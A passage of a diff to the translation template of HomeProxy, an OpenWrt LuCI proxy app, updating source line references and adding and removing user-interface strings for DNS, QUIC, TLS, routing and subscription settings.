htdocs/luci-static/resources/view/homeproxy/client.js:307 msgid "Proxy mode" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:613 +#: htdocs/luci-static/resources/view/homeproxy/node.js:927 msgid "Proxy protocol" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:833 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1163 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1320 -#: htdocs/luci-static/resources/view/homeproxy/node.js:892 -#: htdocs/luci-static/resources/view/homeproxy/node.js:959 +#: htdocs/luci-static/resources/view/homeproxy/client.js:644 +#: htdocs/luci-static/resources/view/homeproxy/client.js:976 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1132 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1142 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1209 #: htdocs/luci-static/resources/view/homeproxy/server.js:405 msgid "QUIC" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:879 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1129 #: htdocs/luci-static/resources/view/homeproxy/server.js:355 msgid "QUIC congestion control algorithm." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:715 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1029 #: htdocs/luci-static/resources/view/homeproxy/server.js:307 msgid "QUIC connection receive window" msgstr "" @@ -2120,29 +2022,33 @@ msgstr "" msgid "QUIC maximum concurrent bidirectional streams" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:709 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1023 #: htdocs/luci-static/resources/view/homeproxy/server.js:300 msgid "QUIC stream receive window" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1306 +#: htdocs/luci-static/resources/view/homeproxy/client.js:209 +msgid "Quad9 Public DNS (DoH)" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1118 msgid "Query type" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1426 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1238 msgid "RCode" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:834 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1321 +#: htdocs/luci-static/resources/view/homeproxy/client.js:645 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1133 msgid "RDP" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1127 +#: htdocs/luci-static/resources/view/homeproxy/client.js:940 msgid "RDRC timeout" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1322 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1572 #: htdocs/luci-static/resources/view/homeproxy/server.js:709 msgid "REALITY" msgstr "" @@ -2151,43 +2057,50 @@ msgstr "" msgid "REALITY private key" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1327 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1577 #: htdocs/luci-static/resources/view/homeproxy/server.js:730 msgid "REALITY public key" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1333 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1583 #: htdocs/luci-static/resources/view/homeproxy/server.js:734 msgid "REALITY short ID" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:60 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1785 +msgid "RP" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:486 +msgid "RPC failed" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:63 #: htdocs/luci-static/resources/view/homeproxy/server.js:58 msgid "RUNNING" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:845 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1095 msgid "Random version will be used if empty." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:531 -#: htdocs/luci-static/resources/view/homeproxy/client.js:572 +#: htdocs/luci-static/resources/view/homeproxy/client.js:511 msgid "Recursive outbound detected!" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1223 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1036 msgid "Recursive resolver detected!" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:325 +#: htdocs/luci-static/resources/view/homeproxy/client.js:308 msgid "Redirect TCP" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:327 +#: htdocs/luci-static/resources/view/homeproxy/client.js:310 msgid "Redirect TCP + TProxy UDP" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:329 +#: htdocs/luci-static/resources/view/homeproxy/client.js:312 msgid "Redirect TCP + Tun UDP" msgstr "" @@ -2195,50 +2108,44 @@ msgstr "" msgid "Refresh every %s seconds." msgstr "" -#: htdocs/luci-static/resources/homeproxy/node-filter.js:80 -msgid "" -"Regex matching stopped after scanning %d nodes. Narrow the regex or reduce " -"subscription size." -msgstr "" - #: htdocs/luci-static/resources/view/homeproxy/server.js:659 msgid "Region ID" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:884 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1360 +#: htdocs/luci-static/resources/view/homeproxy/client.js:695 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1172 msgid "Reject" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1547 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1359 msgid "Remote" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1698 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1874 msgid "Remove %s nodes" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1688 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1864 msgid "Remove all nodes from subscriptions" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1414 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1226 msgid "Reply with REFUSED" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:979 +#: htdocs/luci-static/resources/view/homeproxy/client.js:792 msgid "Reply with TCP RST / ICMP port unreachable" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1105 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1355 msgid "Reserved field bytes" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:885 +#: htdocs/luci-static/resources/view/homeproxy/client.js:696 msgid "Resolve" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:990 +#: htdocs/luci-static/resources/view/homeproxy/client.js:803 msgid "Resolve strategy" msgstr "" @@ -2246,30 +2153,6 @@ msgstr "" msgid "Resources management" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:201 -msgid "Restore" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:128 -msgid "Restore HomeProxy backup?" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:205 -msgid "Restore backup" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:162 -msgid "Restore complete" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:160 -msgid "Restore failed." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:154 -msgid "Restoring HomeProxy backup..." -msgstr "" - #: htdocs/luci-static/resources/view/homeproxy/server.js:880 msgid "Reuse address" msgstr "" @@ -2278,99 +2161,137 @@ msgstr "" msgid "Reuse listener address." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1002 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1398 +#: htdocs/luci-static/resources/view/homeproxy/client.js:815 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1210 msgid "Rewrite TTL" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1003 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1399 +#: htdocs/luci-static/resources/view/homeproxy/client.js:816 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1211 msgid "Rewrite TTL in DNS responses." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:882 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1358 +#: htdocs/luci-static/resources/view/homeproxy/client.js:693 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1170 msgid "Route" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:883 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1359 +#: htdocs/luci-static/resources/view/homeproxy/client.js:694 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1171 msgid "Route options" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:436 +#: htdocs/luci-static/resources/view/homeproxy/client.js:419 msgid "Routing Nodes" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:779 +#: htdocs/luci-static/resources/view/homeproxy/client.js:590 msgid "Routing Rules" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:160 +#: htdocs/luci-static/resources/view/homeproxy/client.js:145 msgid "Routing Settings" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:291 +#: htdocs/luci-static/resources/view/homeproxy/client.js:274 msgid "Routing mode" msgstr "" -#: htdocs/luci-static/resources/homeproxy/routing-node.js:13 -#: htdocs/luci-static/resources/view/homeproxy/client.js:445 +#: htdocs/luci-static/resources/view/homeproxy/client.js:428 msgid "Routing node" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:304 +#: htdocs/luci-static/resources/view/homeproxy/client.js:287 msgid "Routing ports" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:788 +#: htdocs/luci-static/resources/view/homeproxy/client.js:599 msgid "Routing rule" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1522 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1334 msgid "Rule Set" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:858 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1330 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1531 +#: htdocs/luci-static/resources/view/homeproxy/client.js:669 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1142 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1343 msgid "Rule set" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:873 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1345 +msgid "Tag" +msgstr "" + +msgid "Used by sing-box rule sets. Please fill it in yourself." +msgstr "" + +msgid "valid tag" +msgstr "" + +msgid "valid duration" +msgstr "" + +msgid "valid cron expression" +msgstr "" + +msgid "Manual select" +msgstr "" + +msgid "Custom nodes" +msgstr "" + +msgid "Custom" +msgstr "" + +msgid "Custom URL" +msgstr "" + +msgid "Policy nodes" +msgstr "" + +msgid "List of policy groups." +msgstr "" + +msgid "Subscription nodes" +msgstr "" + +msgid "List of nodes from subscriptions." +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:684 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1157 msgid "Rule set IP CIDR as source IP" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1564 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1376 msgid "Rule set URL" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:835 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1322 -#: htdocs/luci-static/resources/view/homeproxy/node.js:533 +#: htdocs/luci-static/resources/view/homeproxy/client.js:646 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1134 +#: htdocs/luci-static/resources/view/homeproxy/node.js:868 msgid "SSH" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:836 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1323 +#: htdocs/luci-static/resources/view/homeproxy/client.js:647 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1135 msgid "STUN" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1357 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1607 msgid "SUoT version" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:844 +#: htdocs/luci-static/resources/view/homeproxy/client.js:655 msgid "Safari / Apple Network API" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:685 +#: htdocs/luci-static/resources/view/homeproxy/node.js:999 #: htdocs/luci-static/resources/view/homeproxy/server.js:290 msgid "Salamander" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:192 +#: htdocs/luci-static/resources/view/homeproxy/client.js:177 msgid "Same as main node" msgstr "" @@ -2379,24 +2300,15 @@ msgstr "" msgid "Save" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1636 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1837 msgid "Save current settings" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1633 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1834 msgid "Save subscriptions settings" msgstr "" -#: htdocs/luci-static/resources/homeproxy/routing-node.js:17 -#: htdocs/luci-static/resources/view/homeproxy/client.js:462 -msgid "Selector" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:554 -msgid "Selector nodes" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:1366 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1178 #: htdocs/luci-static/resources/view/homeproxy/server.js:156 msgid "Server" msgstr "" @@ -2415,109 +2327,85 @@ msgstr "" msgid "Server settings" msgstr "" -#: root/usr/share/luci/menu.d/luci-app-homeproxy.json:46 +#: root/usr/share/luci/menu.d/luci-app-homeproxy.json:38 msgid "Service Status" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1386 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1198 msgid "Set domain strategy for this query." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:531 +#: htdocs/luci-static/resources/view/homeproxy/node.js:866 msgid "ShadowTLS" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:770 -msgid "ShadowTLS address" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:816 -msgid "ShadowTLS masquerade SNI" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:801 -msgid "ShadowTLS password" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:785 -msgid "ShadowTLS port" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:823 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1074 msgid "ShadowTLS version" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:530 +#: htdocs/luci-static/resources/view/homeproxy/node.js:865 #: htdocs/luci-static/resources/view/homeproxy/server.js:184 msgid "Shadowsocks" msgstr "" -#: htdocs/luci-static/resources/homeproxy/tcping.js:214 -msgid "Skipped" -msgstr "" - -#: htdocs/luci-static/resources/homeproxy/tcping.js:329 -msgid "Skipped %d nodes. At most %d nodes can be tested at once." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:840 +#: htdocs/luci-static/resources/view/homeproxy/client.js:651 msgid "Sniffed client type (QUIC client type or SSH client name)." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:828 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1316 +#: htdocs/luci-static/resources/view/homeproxy/client.js:639 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1128 msgid "" -"Sniffed protocol, see Sniff for details." +"Sniffed protocol, see Sniff for details." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:532 +#: htdocs/luci-static/resources/view/homeproxy/node.js:867 #: htdocs/luci-static/resources/view/homeproxy/server.js:185 msgid "Socks" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:834 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1084 msgid "Socks version" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:835 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1085 msgid "Socks4" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:836 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1086 msgid "Socks4A" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:837 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1087 msgid "Socks5" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1032 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1470 +#: htdocs/luci-static/resources/view/homeproxy/client.js:845 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1282 msgid "Source IP CIDR" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1553 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1365 msgid "Source file" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1048 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1487 +#: htdocs/luci-static/resources/view/homeproxy/client.js:861 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1299 msgid "Source port" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1053 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1492 +#: htdocs/luci-static/resources/view/homeproxy/client.js:866 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1304 msgid "Source port range" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:960 +#: htdocs/luci-static/resources/view/homeproxy/client.js:773 msgid "" "Specifies DNS server tag to use instead of selecting through DNS routing." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:976 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1028 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1226 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1278 msgid "" "Specifies the period of time (in seconds) after which a health check will be " "performed using a ping frame if no frames have been received on the " @@ -2533,8 +2421,8 @@ msgid "" "GOAWAY frame. PING frames are not considered as activity." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:980 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1036 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1230 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1286 msgid "" "Specifies the timeout duration (in seconds) after sending a PING frame, " "within which a response must be received.
If a response to the PING " @@ -2542,52 +2430,34 @@ msgid "" "will be closed." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:305 +#: htdocs/luci-static/resources/view/homeproxy/client.js:288 msgid "" "Specify target ports to be proxied. Multiple ports must be separated by " "commas." msgstr "" -#: htdocs/luci-static/resources/homeproxy/tcping.js:13 -msgid "" -"Speed tests use the current runtime configuration. To test all nodes, add " -"them to a running node group with a node regex such as .*" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:1123 -msgid "Store RDRC" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:1124 -msgid "" -"Store rejected DNS response cache.
The check results of Address " -"filter DNS rule items will be cached until expiration." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:673 +#: htdocs/luci-static/resources/view/homeproxy/node.js:987 #: htdocs/luci-static/resources/view/homeproxy/server.js:278 msgid "String" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1555 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1755 msgid "Sub (%s)" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1583 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1789 msgid "Subscription URL-s" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1656 -msgid "" -"Subscription update is running. The page will refresh automatically when it " -"finishes." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1567 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1766 msgid "Subscriptions" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1506 +#: htdocs/luci-static/resources/view/homeproxy/node.js:500 +msgid "Success" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1706 msgid "Successfully imported %s nodes of total %s." msgstr "" @@ -2595,107 +2465,101 @@ msgstr "" msgid "Successfully updated." msgstr "" -#: htdocs/luci-static/resources/homeproxy.js:261 -msgid "Suggestion:" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1466 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1584 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1666 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1790 msgid "" "Support Hysteria, Shadowsocks, Trojan, v2rayN (VMess), and XTLS (VLESS) " "online configuration delivery standard." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:220 +#: htdocs/luci-static/resources/view/homeproxy/client.js:205 msgid "" "Support UDP, TCP, DoH, DoQ, DoT. TCP protocol will be used if not specified." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:353 +#: htdocs/luci-static/resources/view/homeproxy/client.js:336 msgid "System" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:423 -#: htdocs/luci-static/resources/view/homeproxy/client.js:476 -#: htdocs/luci-static/resources/view/homeproxy/client.js:967 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1098 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1206 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1373 +#: htdocs/luci-static/resources/view/homeproxy/client.js:406 +#: htdocs/luci-static/resources/view/homeproxy/client.js:458 +#: htdocs/luci-static/resources/view/homeproxy/client.js:780 +#: htdocs/luci-static/resources/view/homeproxy/client.js:911 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1019 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1185 msgid "System DNS" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:850 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1159 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1311 +#: htdocs/luci-static/resources/view/homeproxy/client.js:661 +#: htdocs/luci-static/resources/view/homeproxy/client.js:972 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1123 #: htdocs/luci-static/resources/view/homeproxy/server.js:867 msgid "TCP" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1341 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1591 #: htdocs/luci-static/resources/view/homeproxy/server.js:845 msgid "TCP fast open" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:347 +#: htdocs/luci-static/resources/view/homeproxy/client.js:330 msgid "TCP/IP stack" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:348 +#: htdocs/luci-static/resources/view/homeproxy/client.js:331 msgid "TCP/IP stack." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:837 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1160 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1324 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1183 +#: htdocs/luci-static/resources/view/homeproxy/client.js:648 +#: htdocs/luci-static/resources/view/homeproxy/client.js:973 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1136 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1433 #: htdocs/luci-static/resources/view/homeproxy/server.js:532 msgid "TLS" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1215 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1465 #: htdocs/luci-static/resources/view/homeproxy/server.js:565 msgid "TLS ALPN" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1190 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1210 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1003 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1460 #: htdocs/luci-static/resources/view/homeproxy/server.js:560 msgid "TLS SNI" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:945 +#: htdocs/luci-static/resources/view/homeproxy/client.js:758 msgid "TLS fragment" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:967 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1217 #: htdocs/luci-static/resources/view/homeproxy/server.js:413 msgid "TLS is not enforced. If TLS is not configured, plain HTTP 1.1 is used." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:939 -#: htdocs/luci-static/resources/view/homeproxy/client.js:947 +#: htdocs/luci-static/resources/view/homeproxy/client.js:752 +#: htdocs/luci-static/resources/view/homeproxy/client.js:760 msgid "TLS record fragment" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1199 -msgid "" -"Tag of a another server to resolve the domain name in the address. Required " -"if address contains domain." +#: htdocs/luci-static/resources/view/homeproxy/client.js:1012 +msgid "Used to resolve DNS server addresses in domain form. IP addresses do not require it." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1238 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1051 msgid "Tag of an outbound for connecting to the dns server." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1587 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1399 msgid "Tag of the outbound to download rule set." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1367 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1179 msgid "Tag of the target dns server." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:891 +#: htdocs/luci-static/resources/view/homeproxy/client.js:702 msgid "Tag of the target outbound." msgstr "" @@ -2704,63 +2568,73 @@ msgid "" "Tell the client to use the BBR flow control algorithm instead of Hysteria CC." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:227 -#: htdocs/luci-static/resources/view/homeproxy/client.js:262 -msgid "Tencent Public DNS (119.29.29.29)" +#: htdocs/luci-static/resources/view/homeproxy/client.js:245 +msgid "Tencent Public DNS (DoH)" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:722 +#: htdocs/luci-static/resources/view/homeproxy/node.js:541 +#: htdocs/luci-static/resources/view/homeproxy/node.js:826 +msgid "Test" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1924 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1928 +msgid "Test Current List" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:533 msgid "Test URL" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:178 -#: htdocs/luci-static/resources/view/homeproxy/client.js:207 -#: htdocs/luci-static/resources/view/homeproxy/client.js:742 +#: htdocs/luci-static/resources/view/homeproxy/client.js:163 +#: htdocs/luci-static/resources/view/homeproxy/client.js:192 +#: htdocs/luci-static/resources/view/homeproxy/client.js:553 msgid "Test interval" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:750 +#: htdocs/luci-static/resources/view/homeproxy/client.js:561 msgid "Test interval must be less or equal than idle timeout." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:184 -#: htdocs/luci-static/resources/view/homeproxy/client.js:213 -#: htdocs/luci-static/resources/view/homeproxy/client.js:758 +#: htdocs/luci-static/resources/view/homeproxy/client.js:169 +#: htdocs/luci-static/resources/view/homeproxy/client.js:198 +#: htdocs/luci-static/resources/view/homeproxy/client.js:569 msgid "Test tolerance" msgstr "" -#: htdocs/luci-static/resources/homeproxy/tcping.js:156 -msgid "Tested at: %s" +#: htdocs/luci-static/resources/view/homeproxy/node.js:498 +#: htdocs/luci-static/resources/view/homeproxy/node.js:541 +msgid "Testing" msgstr "" -#: htdocs/luci-static/resources/homeproxy/tcping.js:184 -msgid "Testing..." +#: htdocs/luci-static/resources/view/homeproxy/node.js:1917 +msgid "Testing Current List..." msgstr "" #: htdocs/luci-static/resources/view/homeproxy/server.js:628 msgid "The ACME CA provider to use." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1088 +#: htdocs/luci-static/resources/view/homeproxy/client.js:901 msgid "The DNS strategy for resolving the domain name in the address." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:716 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1030 #: htdocs/luci-static/resources/view/homeproxy/server.js:308 msgid "The QUIC connection-level flow control window for receiving data." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:710 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1024 #: htdocs/luci-static/resources/view/homeproxy/server.js:301 msgid "The QUIC stream-level flow control window for receiving data." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:723 +#: htdocs/luci-static/resources/view/homeproxy/client.js:534 msgid "The URL to test." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1168 -msgid "The address of the dns server." +#: htdocs/luci-static/resources/view/homeproxy/client.js:981 +msgid "Full URL, e.g. https://dns.alidns.com/dns-query" msgstr "" #: htdocs/luci-static/resources/view/homeproxy/server.js:679 @@ -2775,38 +2649,21 @@ msgid "" "forward 443 to this port for challenge to succeed." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:808 -msgid "" -"The default rule uses the following matching logic:
(domain || " -"domain_suffix || domain_keyword || domain_regex || ip_cidr || " -"ip_is_private) &&
(port || port_range) &&
(source_ip_cidr || source_ip_is_private) &&
(source_port || source_port_range) &&
other fields.
Additionally, included rule sets can be considered merged rather " -"than as a single rule sub-item." +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "In default mode, rule fields are matched by category. Any condition in the same category can match, while different categories must match at the same time. Rule sets are merged into the rule for matching and are not treated as separate sub-rules." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1287 -msgid "" -"The default rule uses the following matching logic:
(domain || " -"domain_suffix || domain_keyword || domain_regex) &&
(port " -"|| port_range) &&
